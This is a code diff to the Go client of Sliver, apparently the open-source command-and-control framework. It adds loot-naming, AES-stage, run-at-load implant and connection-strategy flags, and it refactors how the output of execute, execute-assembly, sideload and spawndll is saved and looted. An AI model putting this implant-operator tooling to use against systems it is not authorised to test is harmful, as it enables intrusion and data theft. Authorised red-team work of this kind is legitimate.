 			f.Bool("c", "no-canaries", false, "disable dns canary detection")
 			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
+			f.Bool("D", "disable-otp", false, "disable otp authentication")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -476,6 +477,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
 			f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
 			f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
+			f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
+			f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -556,6 +559,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("k", "kill", "", "kill the designated session")
 			f.Bool("K", "kill-all", false, "kill all the sessions")
 			f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
+			f.Bool("F", "force", false, "force session action without waiting for results")
+
+			f.String("f", "filter", "", "filter sessions by substring")
+			f.String("e", "filter-re", "", "filter sessions by regular expression")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -572,6 +579,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Kill all stale/dead sessions",
 		LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
 		Flags: func(f *grumble.Flags) {
+			f.Bool("F", "force", false, "Force the killing of stale/dead sessions")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -612,7 +620,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			return nil
 		},
 		Flags: func(f *grumble.Flags) {
-			f.Bool("f", "force", false, "Force kill,  does not clean up")
+			f.Bool("F", "force", false, "Force kill,  does not clean up")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -986,10 +994,12 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.Bool("T", "token", false, "execute command with current token (windows only)")
 			f.Bool("o", "output", false, "capture command output")
+			f.Bool("s", "save", false, "save output to a file")
 			f.Bool("X", "loot", false, "save output as loot")
 			f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
 			f.String("O", "stdout", "", "remote path to redirect STDOUT to")
 			f.String("E", "stderr", "", "remote path to redirect STDERR to")
+			f.String("n", "name", "", "name to assign loot (optional)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1022,6 +1032,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
 			f.Bool("s", "save", false, "save output to file")
 			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1066,6 +1077,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
 			f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
 			f.Bool("s", "save", false, "save output to file")
+			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -1091,6 +1104,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
 			f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
 			f.Bool("s", "save", false, "save output to file")
+			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
 		},
@@ -1245,6 +1260,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+
+			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1299,6 +1317,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+
+			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1447,6 +1468,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1502,10 +1526,13 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("n", "dns", "", "dns connection strings")
 			f.String("p", "named-pipe", "", "named-pipe connection strings")
 			f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
+			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1620,6 +1647,24 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 	// [ Filesystem ] ---------------------------------------------
 
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.MvStr,
+		Help:     "Move or rename a file",
+		LongHelp: help.GetHelpFor([]string{consts.MvStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.String("src", "path to source file")
+			a.String("dst", "path to dest file")
+		},
+		Run: func(ctx *grumble.Context) error {
+			err := filesystem.MvCmd(ctx, con)
+			return err
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
 	con.App.AddCommand(&grumble.Command{
 		Name:     consts.LsStr,
 		Help:     "List current directory",
@@ -1648,7 +1693,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.RmStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Bool("r", "recursive", false, "recursively remove files")
-			f.Bool("f", "force", false, "ignore safety and forcefully remove files")
+			f.Bool("F", "force", false, "ignore safety and forcefully remove files")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1727,6 +1772,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("c", "colorize-output", false, "colorize output")
 			f.Bool("x", "hex", false, "display as a hex dump")
 			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")
+			f.String("T", "type", "", "force a specific loot type (file/cred) if looting (optional)")
+			f.String("F", "file-type", "", "force a specific file type (binary/text) if looting (optional)")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("path", "path to the file to print")
@@ -1748,6 +1796,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 
 			f.Bool("X", "loot", false, "save output as loot")
+			f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
+			f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
+			f.String("n", "name", "", "name to assign the download if looting")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("remote-path", "path to the file or directory to download")
@@ -1858,6 +1909,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("p", "pid", -1, "target pid")
 			f.String("n", "name", "", "target process name")
 			f.String("s", "save", "", "save to file (will overwrite if exists)")
+			f.Bool("X", "loot", false, "save output as loot")
+			f.String("N", "loot-name", "", "name to assign when adding the memory dump to the loot store (optional)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1884,7 +1937,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			a.Uint("pid", "pid")
 		},
 		Flags: func(f *grumble.Flags) {
-			f.Bool("f", "force", false, "disregard safety and kill the PID")
+			f.Bool("F", "force", false, "disregard safety and kill the PID")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -2091,6 +2144,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("s", "save", "", "save to file (will overwrite if exists)")
 			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -2134,6 +2188,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("k", "kill", "", "kill a beacon")
 			f.Bool("K", "kill-all", false, "kill all beacons")
+			f.Bool("F", "force", false, "force killing of the beacon")
+			f.String("f", "filter", "", "filter beacons by substring")
+			f.String("e", "filter-re", "", "filter beacons by regular expression")
+
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.GenericHelpGroup,
@@ -2717,7 +2775,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
-			f.Int("i", "id", 0, "id of portfwd to remove")
+			f.Uint64("i", "id", 0, "id of portfwd to remove")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -2803,7 +2861,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Add a remote file from the current session to the server's loot store",
 		LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
 		Args: func(a *grumble.Args) {
-			a.String("path", "The local file path to the loot")
+			a.String("path", "The file path on the remote host to the loot")
 		},
 		Flags: func(f *grumble.Flags) {
 			f.String("n", "name", "", "name of this piece of loot")

client/command/exec/execute-assembly.go

@@ -20,13 +20,10 @@ package exec
 
 import (
 	"context"
-	"fmt"
 	"io/ioutil"
-	"os"
 	"path/filepath"
 	"strings"
 
-	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -61,13 +58,16 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	assemblyArgs := ctx.Args.StringList("arguments")
 	process := ctx.Flags.String("process")
 
+	assemblyArgsStr := strings.Join(assemblyArgs, " ")
+	assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
+
 	ctrl := make(chan bool)
 	con.SpinUntil("Executing assembly ...", ctrl)
 	execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
 		Request:   con.ActiveTarget.Request(ctx),
 		IsDLL:     isDLL,
 		Process:   process,
-		Arguments: strings.Join(assemblyArgs, " "),
+		Arguments: assemblyArgsStr,
 		Assembly:  assemblyBytes,
 		Arch:      ctx.Flags.String("arch"),
 		Method:    ctx.Flags.String("method"),
@@ -80,7 +80,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintErrorf("%s", err)
 		return
 	}
-	hostname := getHostname(session, beacon)
+	hostName := getHostname(session, beacon)
 	if execAssembly.Response != nil && execAssembly.Response.Async {
 		con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
 			err = proto.Unmarshal(task.Response, execAssembly)
@@ -88,52 +88,27 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+
+			HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(execAssembly.Response)
 	} else {
-		PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+		HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
 	}
 }
 
-// PrintExecuteAssembly - Print the results of an assembly execution
-func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
-	assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
 
 	if execAssembly.GetResponse().GetErr() != "" {
 		con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
 		return
 	}
 
-	var outFilePath *os.File
-	var err error
-	if ctx.Flags.Bool("save") {
-		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
-		outFilePath, _ = ioutil.TempFile("", outFile)
-	}
-	con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
-	if outFilePath != nil {
-		outFilePath.Write(execAssembly.GetOutput())
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-	}
+	PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
 
-	if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
-		name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
-		err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
-		if err != nil {
-			con.PrintErrorf("Failed to save output as loot: %s\n", err)
-		} else {
-			con.PrintInfof("Output saved as loot\n")
-		}
+	if saveLoot {
+		LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
 	}
 }
-
-func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
-	if session != nil {
-		return session.Hostname
-	}
-	if beacon != nil {
-		return beacon.Hostname
-	}
-	return ""
-}

client/command/exec/execute-shellcode.go

@@ -125,7 +125,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 		return
 	}
 
-	tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
+	tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
 
 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
 		Request:   con.ActiveTarget.Request(ctx),

client/command/exec/execute.go

@@ -18,7 +18,11 @@ package exec
 import (
 	"context"
 	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
 	"strings"
+	"time"
 
 	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
@@ -41,6 +45,12 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	output := ctx.Flags.Bool("output")
 	stdout := ctx.Flags.String("stdout")
 	stderr := ctx.Flags.String("stderr")
+	saveLoot := ctx.Flags.Bool("loot")
+	saveOutput := ctx.Flags.Bool("save")
+	hostName := getHostname(session, beacon)
+
+	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
+	var captureOutput bool = output || saveLoot || saveOutput
 
 	if output && beacon != nil {
 		con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -56,7 +66,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Request: con.ActiveTarget.Request(ctx),
 			Path:    cmdPath,
 			Args:    args,
-			Output:  output,
+			Output:  captureOutput,
 			Stderr:  stderr,
 			Stdout:  stdout,
 		})
@@ -65,7 +75,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Request: con.ActiveTarget.Request(ctx),
 			Path:    cmdPath,
 			Args:    args,
-			Output:  output,
+			Output:  captureOutput,
 			Stderr:  stderr,
 			Stdout:  stdout,
 		})
@@ -84,22 +94,42 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintExecute(exec, ctx, con)
+			HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(exec.Response)
 	} else {
-		PrintExecute(exec, ctx, con)
+		HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
 	}
 }
 
+func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var lootedOutput []byte
+	stdout := ctx.Flags.String("stdout")
+	saveLoot := ctx.Flags.Bool("loot")
+	saveOutput := ctx.Flags.Bool("save")
+	lootName := ctx.Flags.String("name")
+	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
+
+	if saveLoot || saveOutput {
+		lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
+	}
+
+	if saveLoot {
+		LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
+	}
+
+	if saveOutput {
+		SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
+	}
+
+	PrintExecute(exec, ctx, con)
+}
+
 // PrintExecute - Print the output of an executed command
 func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
-	saveLoot := ctx.Flags.Bool("loot")
 	stdout := ctx.Flags.String("stdout")
 	stderr := ctx.Flags.String("stderr")
-	cmdPath := ctx.Args.String("command")
-	args := ctx.Args.StringList("arguments")
 
 	output := ctx.Flags.Bool("output")
 	if !output {
@@ -111,17 +141,14 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
 		return
 	}
 
-	combined := ""
 	if stdout == "" {
-		combined = string(exec.Stdout)
-		con.PrintInfof("Output:\n%s", combined)
+		con.PrintInfof("Output:\n%s", string(exec.Stdout))
 	} else {
 		con.PrintInfof("Stdout saved at %s\n", stdout)
 	}
 
 	if stderr == "" {
 		if !ignoreStderr && 0 < len(exec.Stderr) {
-			combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
 			con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
 		}
 	} else {
@@ -131,13 +158,96 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
 	if exec.Status != 0 {
 		con.PrintErrorf("Exited with status %d!\n", exec.Status)
 	}
-	if saveLoot && 0 < len(combined) {
-		name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
-		err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
-		if err != nil {
-			con.PrintErrorf("Failed to save output as loot: %s\n", err)
-		} else {
-			con.PrintInfof("Output saved as loot\n")
+}
+
+func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
+	if session != nil {
+		return session.Hostname
+	}
+	if beacon != nil {
+		return beacon.Hostname
+	}
+	return ""
+}
+
+func determineCommandName(command string) string {
+	commandName := strings.ReplaceAll(command, "\\", "/")
+
+	commandName = commandName[strings.LastIndex(commandName, "/")+1:]
+
+	if strings.Contains(commandName, ".") {
+		commandName = commandName[:strings.LastIndex(commandName, ".")]
+	}
+
+	return commandName
+}
+
+func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
+	var outputString string = ""
+
+	if combineStdOut {
+		outputString += "Output (stdout):\n" + string(exec.Stdout)
+	}
+
+	if combineStdErr {
+		if combineStdOut {
+			outputString += "\n"
 		}
+		outputString += "Stderr:\n" + string(exec.Stderr)
+	}
+
+	return []byte(outputString)
+}
+
+func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
+	if len(commandOutput) == 0 {
+		con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
+		return
+	}
+
+	timeNow := time.Now().UTC().Format("20060102150405")
+
+	shortCommandName := determineCommandName(cmdName)
+
+	fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
+	if lootName == "" {
+		lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
+	}
+
+	lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
+	loot.SendLootMessage(lootMessage, con)
+}
+
+func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
+	con.PrintInfof("Output:\n%s", executionOutput)
+
+	if saveOutput {
+		SaveExecutionOutput(executionOutput, commandName, hostName, con)
+	}
+}
+
+func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
+	var outFilePath *os.File
+	var err error
+
+	if len(executionOutput) == 0 {
+		con.PrintInfof("There was no output from execution, so there is nothing to save.")
+		return
+	}
+
+	timeNow := time.Now().UTC().Format("20060102150405")
+
+	outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
+
+	outFilePath, err = ioutil.TempFile("", outFileName)
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if outFilePath != nil {
+		outFilePath.Write([]byte(executionOutput))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 	}
 }

client/command/exec/sideload.go

@@ -22,7 +22,6 @@ import (
 	"context"
 	"fmt"
 	"io/ioutil"
-	"os"
 	"path/filepath"
 	"strings"
 
@@ -70,7 +69,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	hostname := getHostname(session, beacon)
+	hostName := getHostname(session, beacon)
 	if sideload.Response != nil && sideload.Response.Async {
 		con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
 			err = proto.Unmarshal(task.Response, sideload)
@@ -78,34 +77,27 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintSideload(sideload, hostname, ctx, con)
+
+			HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(sideload.Response)
 	} else {
-		PrintSideload(sideload, hostname, ctx, con)
+		HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
 	}
 }
 
-// PrintSideload - Print the sideload command output
-func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
+
 	if sideload.GetResponse().GetErr() != "" {
 		con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
 		return
 	}
 
-	var outFilePath *os.File
-	var err error
-	if ctx.Flags.Bool("save") {
-		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
-		outFilePath, err = ioutil.TempFile("", outFile)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	con.PrintInfof("Output:\n%s", sideload.GetResult())
-	if outFilePath != nil {
-		outFilePath.Write([]byte(sideload.GetResult()))
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
+
+	if saveLoot {
+		LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
 	}
 }

client/command/exec/spawndll.go

@@ -4,8 +4,6 @@ import (
 	"context"
 	"fmt"
 	"io/ioutil"
-	"os"
-	"path/filepath"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -48,7 +46,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ctrl <- true
 	<-ctrl
 
-	hostname := getHostname(session, beacon)
+	hostName := getHostname(session, beacon)
 	if spawndll.Response != nil && spawndll.Response.Async {
 		con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
 			err = proto.Unmarshal(task.Response, spawndll)
@@ -56,34 +54,27 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintSpawnDll(spawndll, hostname, ctx, con)
+
+			HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(spawndll.Response)
 	} else {
-		PrintSpawnDll(spawndll, hostname, ctx, con)
+		HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
 	}
 }
 
-// PrintSpawnDll - Print the SpawnDll command response
-func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
+
 	if spawndll.GetResponse().GetErr() != "" {
 		con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
 		return
 	}
 
-	var outFilePath *os.File
-	var err error
-	if ctx.Flags.Bool("save") {
-		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
-		outFilePath, err = ioutil.TempFile("", outFile)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	con.PrintInfof("Output:\n%s", spawndll.GetResult())
-	if outFilePath != nil {
-		outFilePath.Write([]byte(spawndll.GetResult()))
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
+
+	if saveLoot {
+		LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
 	}
 }

client/command/extensions/load.go

@@ -31,6 +31,7 @@ import (
 	"strings"
 
 	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/client/core"
@@ -58,6 +59,7 @@ type ExtensionManifest struct {
 	OriginalAuthor  string               `json:"original_author"`
 	RepoURL         string               `json:"repo_url"`
 	Help            string               `json:"help"`
+	LongHelp        string               `json:"long_help"`
 	Files           []*extensionFile     `json:"files"`
 	Arguments       []*extensionArgument `json:"arguments"`
 	Entrypoint      string               `json:"entrypoint"`
@@ -171,8 +173,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
 	loadedExtensions[extCmd.CommandName] = extCmd
 	helpMsg := extCmd.Help
 	extensionCmd := &grumble.Command{
-		Name: extCmd.CommandName,
-		Help: helpMsg,
+		Name:     extCmd.CommandName,
+		Help:     helpMsg,
+		LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
 		Run: func(extCtx *grumble.Context) error {
 			con.Println()
 			runExtensionCmd(extCtx, con)
@@ -192,12 +195,15 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
 						defaultValue grumble.ArgOption
 					)
 					switch arg.Type {
-					case "int", "short":
+					case "int", "integer", "short":
 						argFunc = a.Int
 						defaultValue = grumble.Default(0)
 					case "string", "wstring", "file":
 						argFunc = a.String
 						defaultValue = grumble.Default("")
+					default:
+						con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
+						return
 					}
 					if arg.Optional {
 						argFunc(arg.Name, arg.Desc, defaultValue)
